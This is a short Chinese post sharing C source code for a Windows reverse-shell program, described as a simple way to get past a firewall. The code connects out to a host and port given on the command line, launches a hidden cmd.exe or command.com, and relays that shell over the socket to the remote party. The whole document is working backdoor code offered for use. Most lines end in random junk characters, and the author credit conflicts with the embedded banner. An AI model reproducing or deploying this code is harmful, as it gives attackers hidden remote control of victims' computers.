这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IG2r#N|C#
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/* ============================== Hj^1or3R]
Rebound port in Windows NT G<65H+)M\
By wind,2006/7 l+KY)6o
===============================*/ +^60T$
#include ztcp/1jIvS
#include +r2+X:#~T
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#pragma comment(lib,"wsock32.lib")
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ZMQZs~;~d
void OutputShell(); _kef0K6
SOCKET sClient; 9ijfRqI=x
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DX#Nf""Pw
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void main(int argc,char **argv) XO.jl" xu
{ xQ7l~O
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WSADATA stWsaData; rBQ _iB_
int nRet; D+l AhEN
SOCKADDR_IN stSaiClient,stSaiServer; \V;F/Zy(
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if(argc != 3) u-QB.iQ+s
{ <}C
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printf("Useage:\n\rRebound DestIP DestPort\n"); D+TD 95t
return; Ri<u/ ]oR"
} t%d Z-Ym
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0"jY.*_EW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d[iQ`YW5
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stSaiClient.sin_family = AF_INET; `'DmDg
stSaiClient.sin_port = htons(0); p*XANGA
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7`*h2 mgY
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j\eI0b @*
{ ^um<bWNc
printf("Bind Socket Failed!\n"); E^B'4
return; N=V==Dbu-
} /2&c$9=1
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stSaiServer.sin_family = AF_INET; ahusta
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5?f ^Rz
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /J]5H
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {a =#B)6
{ z<MsKD0Q
printf("Connect Error!"); y'3rNa]G1
return; akmkyrz '&
} Na<pwC
OutputShell(); j`EXlc~
} ?>VLTp8]
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void OutputShell() })'B<vq
{ V.U|
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char szBuff[1024]; =7?4eYHC
SECURITY_ATTRIBUTES stSecurityAttributes; 9=s<Ld
OSVERSIONINFO stOsversionInfo; &5>Kl}7
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QFA8N
STARTUPINFO stStartupInfo;
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char *szShell; @="Pn5<]C
PROCESS_INFORMATION stProcessInformation; 9[#pIPxNK
unsigned long lBytesRead; W<'m:dq
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Xu{1".\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Lw1Yvtn
stSecurityAttributes.lpSecurityDescriptor = 0; <3nMx^
stSecurityAttributes.bInheritHandle = TRUE; [DuttFX^x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); h0EEpL|\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 'B|JAi?
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "MeVE#O
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y/F6\oh
stStartupInfo.wShowWindow = SW_HIDE; =F|{#F
stStartupInfo.hStdInput = hReadPipe; /WcG{Wdp
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jRa43ck
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GetVersionEx(&stOsversionInfo); #mxPw
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switch(stOsversionInfo.dwPlatformId) soxc0OlN
{ KYm0@O>;
case 1: l$KA)xbI
szShell = "command.com"; AI2)g1m
break; g&L!1<,
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default: hgG9m[?K
szShell = "cmd.exe"; iI T;K@&
break; M/f<A$xx_
} E: 68?IJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `7E;VL^Y1
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send(sClient,szMsg,77,0); qz_7%c]K[
while(1) LENq_@$
{ (TtkFo'!U
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (XTG8W sN
if(lBytesRead) fUWG*o9
{ XSB"{H>&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BKCiIfkZ
send(sClient,szBuff,lBytesRead,0); RMV/&85?y
} n&4N[Qlv,
else ?FZ HrA
{ {lzWrUGO
lBytesRead=recv(sClient,szBuff,1024,0); KfEx"94
if(lBytesRead<=0) break; 1ba~SHi
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bSlF=jT[S
} )u&|_&g{}J
} n+9=1Oo"
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return; AR%4D3Dma
}